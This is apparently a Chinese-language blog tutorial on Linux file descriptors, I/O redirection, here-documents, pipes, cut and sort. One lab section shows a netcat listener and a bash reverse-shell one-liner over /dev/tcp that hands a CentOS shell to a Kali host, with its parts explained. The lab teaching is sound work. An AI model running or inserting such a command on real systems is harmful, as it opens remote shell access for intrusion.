linux重定向

重定向

文件描述符FD

  1. 定义
    • 文件描述符(FD) 是 Linux/Unix 系统中用于 访问文件或 I/O 资源的抽象句柄
    • 表现为一个 非负整数(如 0, 1, 2, 3, …),本质是内核为进程维护的 文件引用表的索引
  2. 核心作用
    • 统一管理进程的所有 I/O 操作(文件、管道、套接字、设备等)。
    • 提供对系统资源的标准化访问接口

FD 的底层结构

1. 进程级 FD 表

每个进程拥有独立的 文件描述符表(File Descriptor Table),包含:

条目内容 说明
FD 标志位 close-on-exec(执行时关闭)
指向文件表的指针 链接到内核全局文件表

2. 内核级文件表(File Table)

系统全局的 文件表(File Table) 存储:

条目内容 说明
文件状态标志 O_RDONLY, O_WRONLY, O_APPEND
当前文件偏移量 读写位置指针
指向 inode 的指针 链接到文件元数据

标准文件描述符

所有进程启动时自动打开三个 FD:

FD 值 名称 默认绑定设备 宏定义
0 标准输入(stdin) 键盘 STDIN_FILENO
1 标准输出(stdout) 显示器 STDOUT_FILENO
2 标准错误(stderr) 显示器 STDERR_FILENO

以vim为例

开启两个终端,一个终端使用vim编辑文件,一个终端用于查看fd

# 查看有关 vim 的进程
[root@wickt 桌面]# ps aux | grep vim
root 4594 0.0 0.2 46600 8496 pts/1 S+ 18:21 0:00 vim test1.txt
root 4763 0.0 0.0 12320 976 pts/0 S+ 18:32 0:00 grep --color=auto vim

image-20250805182644594

/proc/PID/fd中这里是/proc/4594/fd查看fd

[root@wickt 桌面]# ls -l /proc/4594/fd
总用量 0
lrwx------. 1 root root 64 8月 5 18:27 0 -> /dev/pts/1 # 标准输入 stdin
lrwx------. 1 root root 64 8月 5 18:27 1 -> /dev/pts/1 # 标准输出 stdout
lrwx------. 1 root root 64 8月 5 18:27 2 -> /dev/pts/1 # 标准错误输出 stderr
lr-x------. 1 root root 64 8月 5 18:27 3 -> /var/lib/sss/mc/passwd # 进程打开其他文件,只读模式
lrwx------. 1 root root 64 8月 5 18:27 4 -> 'socket:[59479]' # 网络套接字,进程正在使用网络通信
lrwx------. 1 root root 64 8月 5 18:27 5 -> /root/桌面/.test1.txt.swp # vim交换文件,Vim 在编辑文件时创建的 临时交换文件
FD 权限 类型 指向目标 含义
0 lrwx---- 终端 /dev/pts/1 标准输入
1 lrwx---- 终端 /dev/pts/1 标准输出
2 lrwx---- 终端 /dev/pts/1 标准错误
3 lr-x---- 文件 SSSD 缓存文件 只读访问用户数据
4 lrwx---- 套接字 socket:[59479] 网络通信通道
5 lrwx---- 文件 Vim 交换文件 编辑中的文件缓存

此时在终端,将标准输出重定向到/dev/pts/1/proc/4594/fd/0同样可以写进文件 test.txt 中

[root@wickt 桌面]# echo test > /proc/4594/fd/0
[root@wickt 桌面]# echo ceshi > /proc/4594/fd/0
[root@wickt 桌面]# echo koi > /dev/pts/1

image-20250805183545320

这里.test1.txt.swp为编辑文件产生的临时文件(交换文件)

  1. 正常保存退出时编辑器会将修改写入原文件,然后删除临时文件
  2. 不保存退出时编辑器会丢弃所有未保存的修改,然后删除临时文件
  3. 意外退出时临时文件会保留,下次打开时编辑器会提示
发现交换文件 ".tset1.txt.swp"
选择: (R)恢复修改, (D)删除交换文件, (Q)退出, (A)终止

​ 选择 R(恢复):将交换文件内容加载到编辑器,合并未保存的改。

​ 选择 D(删除交换文件):放弃恢复,直接编辑源文件。

练习

输出重定向

普通输出重定向

[root@wickt 桌面]# date > date.txt
[root@wickt 桌面]# cat date.txt
2025年 08月 05日 星期二 18:45:44 CST
[root@wickt 桌面]# date >> date.txt
[root@wickt 桌面]# cat date.txt
2025年 08月 05日 星期二 18:45:44 CST
2025年 08月 05日 星期二 18:45:57 CST

>操作符为输出重定向(覆盖模式)

  • 如果 date.txt 已存在清空文件内容,然后写入新内容
  • 如果 date.txt 不存在:创建新文件并写入内容

>>操作符为输出重定向(追加模式)

  • 如果 date.txt 已存在:在文件末尾追加新内容
  • 如果 date.txt 不存在:创建新文件并写入内容
特性 date > date.txt date >> date.txt
操作符 > >>
文件存在时 清空后写入 末尾追加新内容
文件不存在时 创建文件并写入 创建文件并写入
内容保留 仅最后一次结果 所有历史记录
典型用途 日志轮替、单次结果保存 运行日志、连续记录收集
[root@wickt 桌面]# mkdir hello 1> hello.txt
[root@wickt 桌面]# mkdir -v nihao 1> nihao.txt
[root@wickt 桌面]# cat hello.txt
[root@wickt 桌面]# cat nihao.txt
mkdir: 已创建目录 'nihao'

1> 是标准输出重定向(等价于 >

-v 参数启用 verbose(详细输出) 模式,成功创建目录时会输出提示信息。创建目录成功默认是不产生提示信息。

错误输出重定向

当命令产生错误时才会有错误输出

[root@wickt 桌面]# ls /hell 2> error.txt
[root@wickt 桌面]# cat error.txt
ls: 无法访问'/hell': 没有那个文件或目录

2> error.txt:将标准错误(文件描述符为 2)重定向到 error.txt 文件中。

正确和错误都输入到同一位置

[root@wickt 桌面]# ls ./hello /nih &>> error.txt 
[root@wickt 桌面]# cat error.txt
ls: 无法访问'/hell': 没有那个文件或目录
ls: 无法访问'/nih': 没有那个文件或目录
./hello:

[root@wickt 桌面]# ls ./hell ./nihao >& error.txt
[root@wickt 桌面]# cat error.txt
ls: 无法访问'./hell': 没有那个文件或目录
./nihao:

&>>:将 标准输出 (stdout) 和标准错误 (stderr) 同时追加 到指定文件

>&:将 标准输出和标准错误同时覆盖写入 到指定文件

特性 &>> error.txt (命令1) >& error.txt (命令2)
重定向类型 双流追加 双流覆盖写入
文件操作 保留原内容,新增输出 清空原内容,写入新输出
等效写法 >> error.txt 2>&1 > error.txt 2>&1
目标路径 ./hello(存在) + /nih(不存在) ./hell(不存在) + ./nihao(存在)
输出顺序 按实际产生顺序记录 按实际产生顺序记录

将 标准输出(stdout) 和错误输出( stderr )分别重定向到不同文件

[root@wickt 桌面]# ls ./hello /nih 1> output.txt 2> error.txt 
[root@wickt 桌面]# cat error.txt
ls: 无法访问'/nih': 没有那个文件或目录
[root@wickt 桌面]# cat output.txt
./hello:

1> output.txt将标准信息输出到output.txt文件

2> error.txt将错误信息输出到error.txt文件

将 错误输出(stderr )合并到标准输出( stdout),再一起重定向到文件

[root@wickt 桌面]# ls ./nihao /hel > all.txt 2>&1
[root@wickt 桌面]# cat all.txt
ls: 无法访问'/hel': 没有那个文件或目录
./nihao:
  1. ls ./nihao /hel
    • 尝试列出两个路径:
      • ./nihao:当前目录下的 nihao 目录(存在)
      • /hel:根目录下的 hel 文件/目录(不存在)
  2. > all.txt
    • 标准输出(stdout) 重定向到 all.txt 文件(覆盖模式)
  3. 2>&1
    • 标准错误(stderr) 重定向到 当前标准输出的位置
    • 2> 表示错误流重定向
    • &1 表示”当前标准输出的位置”

输入重定向结合

利用 cat 将输入文字输出到 catfile 中, 当输入 eof 时就结束

[root@wickt 桌面]# cat > catfile <<"eof"
> jlkasf
> nihao
> hello
> eof
[root@wickt 桌面]# cat catfile
jlkasf
nihao
hello
  1. cat > catfile

    • cat:读取输入并输出到标准输出
    • >:重定向操作符,将 cat 的输出覆盖写入到文件 catfile
  2. <<"eof"

    • <<:Here Document 的开始标记
    • "eof":自定义的分隔符(Delimiter),双引号包裹表示禁用变量替换
  3. Shell 看到 <<"eof" 后,会读取后续所有输入行…

  4. 直到遇到单独一行只包含 eof 的结束标记

  5. 将开始标记和结束标记之间的所有内容作为输入传递给 cat 命令

  6. cat 将这些内容写入 catfile 文件

bash反弹shell

shell

shell是 Linux/Unix 系统的核心接口,既是命令行解释器也是脚本编程语言。它连接用户与内核,提供系统操作、任务自动化等功能。

  • 用户与操作系统内核之间的命令行接口
  • 解释并执行用户输入的命令
Shell 类型 特点 默认系统
Bash 功能最丰富,Linux 标准 Linux
Zsh 强大补全、主题支持 macOS Catalina+
Fish 用户友好、语法高亮 -
Dash 轻量快速,适合脚本 Debian/Ubuntu /bin/sh
能力类型 关键工具/语法 应用场景
基础操作 cd, ls, grep 文件管理
流程控制 if, for, case 脚本逻辑
文本处理 sed, awk, cut 日志分析
系统管理 cron, systemctl 服务管理
调试排错 set -x, trap 脚本调试
高级特性 关联数组、正则 复杂业务

bash

Bash(Bourne-Again Shell)是 Linux 系统的标准 Shell,集成了强大功能和高效交互体验。

核心特性

特性 命令/语法 作用
命令历史 history, !n, !!, Ctrl+R 调用/搜索历史命令
别名扩展 alias ll='ls -alh' 简化复杂命令
通配符 *.txt, ?at, {a,b}.log 文件名模式匹配
进程替换 diff <(cmd1) <(cmd2) 将命令输出视为文件
大括号扩展 echo {1..10}, mkdir dir_{A,B} 生成序列/组合
作业控制 jobs, fg, bg, Ctrl+Z 后台任务管理

bash和shell

术语 定义 类比
Shell 操作系统提供的命令行解释器,是用户与内核交互的接口(抽象层) 像汽车的方向盘和仪表盘(操作界面)
Bash Shell 的一种具体实现(Bourne-Again SHell),是 Linux 最常用的 Shell 丰田卡罗拉(方向盘的一种具体型号)
特性 Shell (通用概念) Bash (具体实现)
本质 抽象接口规范 符合 Shell 规范的具体程序
系统路径 /bin/sh (符号链接) /bin/bash
脚本声明 #!/bin/sh #!/bin/bash
功能丰富度 基础功能 扩展功能(数组、正则、进程替换等)
兼容性 符合 POSIX 标准 兼容 POSIX 并增强

反弹shell实验

开启 kali 使用 nc 工具监听1145端口

┌──(root㉿kali)-[~/Desktop]
└─# nc -lvnp 1145

在 CentOS 8 中,执行反弹shell命令

[root@wickt 桌面]# bash -i >& /dev/tcp/192.168.142.132/1145 0>&1
  1. bash -i
    • 启动一个交互式 Bash Shell (-i 参数)
  2. >& /dev/tcp/192.168.142.132/1145
    • Bash 特有的 TCP 重定向特性(非真实设备文件)
    • 将当前 Shell 的 标准输出(stdout) 和 标准错误(stderr) 重定向到
      192.168.142.1321145 端口
  3. 0>&1
    • 标准输入(stdin) 重定向到 当前标准输出(即 TCP 连接)

返回 kali 主机查看终端页面,拿到了 CentOS 8 的执行权限

image-20250805193930765

首先kali主机监听端口,接着在 CentOS 8 中执行命令

[root@wickt 桌面]# bash >& /dev/tcp/192.168.142.132/1145
pwd
ls

image-20250805194251089

kali主机查看

image-20250805194258898

管道” | “

将一个进程的标准输出作为另一个进程的标准输入。

管道用于连接多个命令的输入输出,实现数据流式处理。其核心符号是 |,本质是内存中的单向数据通道(无需临时文件)

  • 数据单向流动(从左到右)
  • 当缓冲区满时,写操作阻塞;空时,读操作阻塞
  • 所有数据内存传输(比文件重定向快 10 倍+)

语法

场景 命令示例 效果
基础过滤 `cat log.txt grep “ERROR”`
多级处理 `ps aux grep nginx
统计操作 `dmesg wc -l`
排序去重 `sort data.txt uniq`
实时监控 `tail -f access.log grep 404`

管道和重定向

| 特性 | 管道 (|) | 重定向 (>, >>) |
| :————— | :————- | :———————— |
| 数据传输方向 | 命令 → 命令 | 命令 → 文件 / 文件 → 命令 |
| 中间存储 | 内存缓冲区 | 磁盘文件 |
| 执行方式 | 并行执行 | 串行执行 |
| 典型用途 | 流式数据处理链 | 保存结果/读取输入文件 |

使用

1. 错误流处理
# 合并错误流到管道
cmd 2>&1 | grep "pattern"

# 分离错误流 (Bash 4.0+)
cmd |& tee log.txt # 等效于 cmd 2>&1 | tee log.txt
2. 命名管道 (FIFO)
mkfifo my_pipe         # 创建命名管道
ls -l > my_pipe & # 后台写入
cat < my_pipe # 读取数据
3. 避免管道截断
# 设置 pipefail 确保管道错误传递
set -o pipefail
curl -s http://site.com | gzip -d > data || echo "Failed"
4. 多进程管道
# 并行处理 (GNU parallel)
cat urls.txt | parallel -j 8 wget {}

# 进程替换 (Bash独有)
diff <(sort file1) <(sort file2)

cut命令

从文本行中提取指定部分(列、字符或字节范围)

选项 作用 示例
-d 指定分隔符 -d','
-f 选择字段(列) -f1,3-f2-5
-c 按字符位置选择 -c1-5
-b 按字节位置选择 -b10-20
--complement 反选(取未选部分) --complement -f2

用例

[root@wickt 桌面]# echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/root/bin
[root@wickt 桌面]# echo $PATH | cut -d ':' -f 2,4
/usr/local/sbin:/usr/sbin

# 分割第二个和第四个字符串

sort命令

对文本行进行排序、合并、去重

选项 作用 示例
-r 逆序排序 sort -r
-n 数值排序 sort -n
-k 指定排序列 -k2,2n
-t 指定分隔符默认tab -t':'
-u 去重 sort -u
-f 忽略大小写 sort -f
-o 输出到文件 -o result.txt

用例

[root@wickt 桌面]# cat test.txt 
a:1
b:3
d:2
c:9
h:6
j:7
[root@wickt 桌面]# cat test.txt | sort -t ':' -k 2 -n
a:1
d:2
b:3
h:6
j:7
c:9


# 统计访问量TOP 10的IP
cut -d' ' -f1 access.log | sort | uniq -c | sort -nr | head
Author: wickt42
Link: http://example.com/2025/08/01/linux重定向/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.